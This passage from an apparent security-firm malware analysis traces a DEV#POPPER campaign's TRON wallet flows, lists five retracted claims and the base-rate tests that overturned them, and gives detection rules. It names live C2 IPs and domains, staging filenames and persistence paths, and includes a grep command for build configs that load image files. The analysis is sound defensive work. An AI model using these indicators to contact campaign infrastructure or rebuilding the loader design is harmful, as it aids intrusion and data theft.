The honest framing: the pipeline from malware to money has been mapped, and the money end is professionally operated at a scale far above the malware end. Whether that layer is theirs or rented, it is where the value concentrates.

One more undetermined. TQDDPVRAgVmAsZJmUWA7H9mp5523zSEUFA received 31,736.013 TRX from the treasury at 10:23:51 and about 116,371 TRX cumulatively, and its activity is dominated by DelegateResourceContract and UnDelegateResourceContract. That is the technical shape of TRON energy provision. Two readings fit equally well: the operator stakes its own TRX for transaction volume, or it buys energy from a commercial vendor. Role undetermined. A large, repeat treasury destination, and nothing more is established.

The discipline that produced this section. TCTVSTvB7nT1j49iUXuWy2kAuHGefA5gQ8 was flagged role-undetermined at 08:02 and left on a watch list rather than classified:

08:02:12   TRaTQNfvb -> TCTVSTvB    345.640 TRX   funding
09:44:21   TCTVSTvB -> TLy37M7n     100.310 TRX
11:06:12   TCTVSTvB -> THB5vRZ      50.310 TRX
13:02:51   TRaTQNfvb -> TCTVSTvB    336.969 TRX   funding (2nd)
13:03:36   TCTVSTvB -> TBZFcuX      330.752 TRX   45 seconds later

At 08:02 the amount sat between the observed implant range and the cash-out range, so guessing from the amount would have been a coin flip. Behaviour answered it twice: a forwarding at 09:44 showed it was active, and a fund-and-forward inside 45 seconds showed it was a relay directly downstream of the treasury. Classification from observed transfers rather than from a pattern that looks like something. That is the standing rule, and section 13 is why it exists.


11. What this record nearly missed

A 161 KB payload was decoded, a working protocol was recovered from a different component, and the larger one was set aside. Fourteen findings were sitting in already-captured data.

The list is worth reproducing because of what it has in common:

Present in the data, not extractedWhere it was
Family identity: DEV#POPPER / DevPop, v1.5.2 build 204The 9999 → 204 substitution and version string in stage three
Backup C2 147.189.169.26:3011Literal in the decoded 161 KB payload
Full command set including 19 ss_* SSH commandsSame payload
SSH pivoting via sshPassword / sshKeyPathSame payload
Exfiltration globs and browser target listSame payload
Persistence beyond the Run key: schtasks, launchctl, PID lockfileSame payload
Victim IP lookup servicesSame payload
/client socket.io endpoint on port 80Same payload
Zip comment as a fabricated provenance marker; DOS timestamps matching the HEAD commit timeThe tree that had already been extracted
Lure quality tells: stripped metadata, gitignored lockfile, broken test wiring, undeclared importsSame

The failure mode is specific and it has a name. Decoding is not analysis. The 161 KB payload was open, its dependencies were noted, and the work stopped once a working protocol had been recovered from the keylogger. Nobody asked whether the larger payload had a different and more important command surface.

The process fix is equally specific: after deobfuscating a payload, enumerate its string table by category (network, commands, paths, file globs, persistence) before writing any protocol section. That costs an hour and it would have caught every item above.

Two things this record should say about the comparison that produced the list. An independent analysis of the same sample was better on breadth, and it named the family, enumerated the command set, followed the money on-chain, and corroborated against prior reporting. And that same independent analysis was wrong in two places: it stated that the malicious repository had been deleted, and it stated that the stage-three query used only_from=true. The repository was live and answered git ls-remote; the deletion had been inferred from an unauthenticated 404 against a private repository. only_from does not appear in the decoded stage-three source, so it is unverified and is not repeated here.


12. What this analysis got wrong

Five claims were withdrawn in one night. Each one is recorded with the control test that killed it, because the control test is the transferable part.

A "1-SUN pointer protocol." The claim was that transfers of 1 to 9 SUN between addresses are an operator signalling convention. Six random recipients sampled from block 87933740 showed rates of 63%, 82%, 83%, 97%, 100% and 100%. The campaign nodes measured 26.5% and 77.8%, which is inside the control distribution. Small-value TRON transfers are background noise across the entire population.

Repdigit and round amounts as a signature. The claim was that values such as 8,888,888 and 4,444,444,444 are a deliberate convention. A sample of 480 TRC-10 transfers across eight recent blocks found 405 repdigit or round, which is 84.4%. The population base rate is the signature. The specific value 4,444,444,444 also appears repeatedly in an unrelated sample.

The 22-implant tasking roster at an 11.3-hour cadence. Decoding the carrier token's metadata ended this one: token 1005212 is SaveGasfeeOnZapzeeIO, abbreviation TG@zapzee, description advertising https://zapzee.io. A commercial TRON energy service. The "taskings" are its promotional airdrop list.

The second beacon and its 306 taskings. Same cause: token 1005193 is gas.bi, described in Chinese and English as a TRON energy service, URL https://trx.bi/.

A binary gateway frame format. BE32 total_length, the same value XOR 0x5d2104af, then payload, with a recovered tag vocabulary. The gateway was never a binary protocol. It is HTTP with bare LF. The frame is PCICL32.DLL's internal buffer encoding between the client's own components, one layer below the wire.

And one that is still open rather than resolved: a measured 50.7% against a 0.00% base rate for a two-character address suffix. 153 of 302 addresses in one airdrop list share it; 0 of 3,293 random addresses do. Nothing connects it to the treasury, the cash-out, the loader or the hosting cluster. It stands as a measurement, with the campaign link unestablished.

The rule all of this produced:

Before calling any on-chain pattern a signature, measure its base rate in a random sample. A pattern appearing in more than 50% of unrelated traffic proves nothing, no matter how striking it looks in a small hand-picked set.

And the corollary, added after the two beacons:

Before treating any repeating on-chain transfer as adversary signalling, decode the carrier token's metadata. A token with a name, a description and a URL advertising a service is a commercial token, and its distributions are marketing.

Three of those five retractions would not have been necessary if the base rate had been measured first. The habit costs about ten minutes.

The counter-example, because a rule needs one. The TCTVSTvB classification in section 10 is the same discipline working in the other direction. Rather than guessing a role from an amount that sat between two known ranges, the address was left undetermined and watched. Behaviour supplied the answer within five hours, twice. That is what makes the base-rate rule a method rather than an apology.


13. Detection

Seven rules, one canonical set. Two are carried over from the earlier recovery package so that there is one source rather than two.

Build-time loader via Tailwind config. Process creation where the parent is node running a dev server and a child node or shell carries -e, eval or atob. Filter out npm run build and npm run lint. Level high.

~/.vs_cache dropper staging. Command lines containing .vs_cache, or a package manager installing better-sqlite3, @primno/dpapi, koffi, socket.io-client or node-machine-id. koffi and dpapi together outside Windows-targeted work is not normal. Level high.

Blockchain envelope marker. The plaintext BCGZ1| or EthClient in file writes, process arguments or network payloads, or the wallet glob set together with shell history files. Level medium, because documentation and backups can contain the literal marker.

Detached child with suppressed stdio. A node parent creating a node or shell child with node -e. Level medium, because build tools do this legitimately.

Beacon to known campaign infrastructure. Firewall events to 185.248.161.18, 94.249.185.106, 147.189.169.26, 138.226.247.154 on ports 443, 3011, 5357; DNS queries for chainmanamgentagency.info, green-horse-42739.zap.cloud, blue-eagle-26751.zap.cloud, db-connectors.vercel.app. Level critical, and no expected false positives because these are campaign-specific endpoints.

Staging directory creation. File events for .vs_cache\loader.log, main.vbs, win_key_agent.js, _force_bootstrap.js, main.js.pending. Level critical.

SettingSync persistence. Any of: a Run value under CurrentVersion\Run\SettingSyncResCache; a file path containing SettingSync\Caches\{8F7A2C1E-9B4D-4E6A-A3C8-1D5E7F90B2C4}; a command line containing ResCache.vbs. Level critical. Windows SettingSync is a legitimate feature; a VBS launcher in its cache directory is not.

The repository rule, which needs no agent. One command catches the design rather than the sample:

grep -rnE "require\(['\"]\./.*\.(svg|png|jpg|gif|ico)['\"]\)" \
  --include="tailwind.config.*" --include="postcss.config.*" \
  --include="vite.config.*" --include="next.config.*" .

A build configuration require()ing an image is not doing anything legitimate. Run it on any project before starting work for someone you do not know.

YARA. The rule set was validated at 25 of 25 recovered builds matched, with 0 false positives across 85 benign files. That is a live sample set rather than a hypothetical one, because the operator re-obfuscates every build.

The hunt queries that matter, in priority order. For a defender holding no samples: the ResCache path, the SettingSyncResCache Run value, and ~/.vs_cache. Those three are behavioural, survive binary replacement, and do not depend on knowing what the current build looks like. For a CERT or hosting provider holding one client config: the GSK weakness means they can validate the gateway themselves, and with provider logs identify affected customers. That is the highest-value action available to a third party.


14. What can be done now

Five takedown filings were prepared: Sollutium for the loader host, ZAP-Hosting for both data stores and the gateway, Vercel for the serverless loader, Notion for the task page, and the registrar for the gateway domain.

Two servers holding 1.28 TB of stolen data are reachable and unauthenticated. That is the strongest basis for provider action this investigation produced, and it is stronger than the gateway ever was, because the data tier is where the harm has already accumulated.

The freeze target is the stablecoin, not the infrastructure. Servers get rebuilt, domains get re-registered, sessions get redeployed. The 24,987.82 USDT at TDFjuTLH… is denominated in a dollar stablecoin, held by an accumulation address that has taken in and released nothing, and funded a single hop from the campaign treasury. It rests on a single-hop treasury payment, the swaps against the aggregator, and a balance call. It does not require establishing who operates any machine. The figure is not static: it was 6,135.07 on 11-12, 10,598.24 within hours, and 24,987.82 by 11-13, which is itself the argument for acting on it rather than describing it.

The access revocation step is the one people skip. The repository is private and live. A reader who believes the 404 means deletion will leave the victim's own account serving the loader to anyone who clones it.

What a defender can do today, in order. Revoke access to the assessment repository for anyone who was invited to it, because a private repository that still answers is still serving. Hunt the three behavioural markers rather than any hash. Invalidate sessions on any machine that ran the dev server, not just passwords. If a client32.ini is found on a machine, treat that gateway as readable by anyone holding the config and rotate the room, because the derived value authenticates with no challenge.

What is not available. The victim roster on /api/clients. The ENCD plaintext. The identity behind any address. The number of machines currently implanted. Each of those needs material that is not in hand, and saying so is more useful than estimating.


Residue

The chain continues to answer, which is the problem with a delivery channel that has no owner. Four transactions sit on it permanently, sent to an address whose only function is to burn what it receives.

The servers are still up. The stablecoin is still held. The repository is private and it answered when asked.

None of that had to change for any of it to keep working.

Share this article

Help spread the word about security best practices.

Need Security Help?

Our team can help secure your blockchain, web applications, and infrastructure.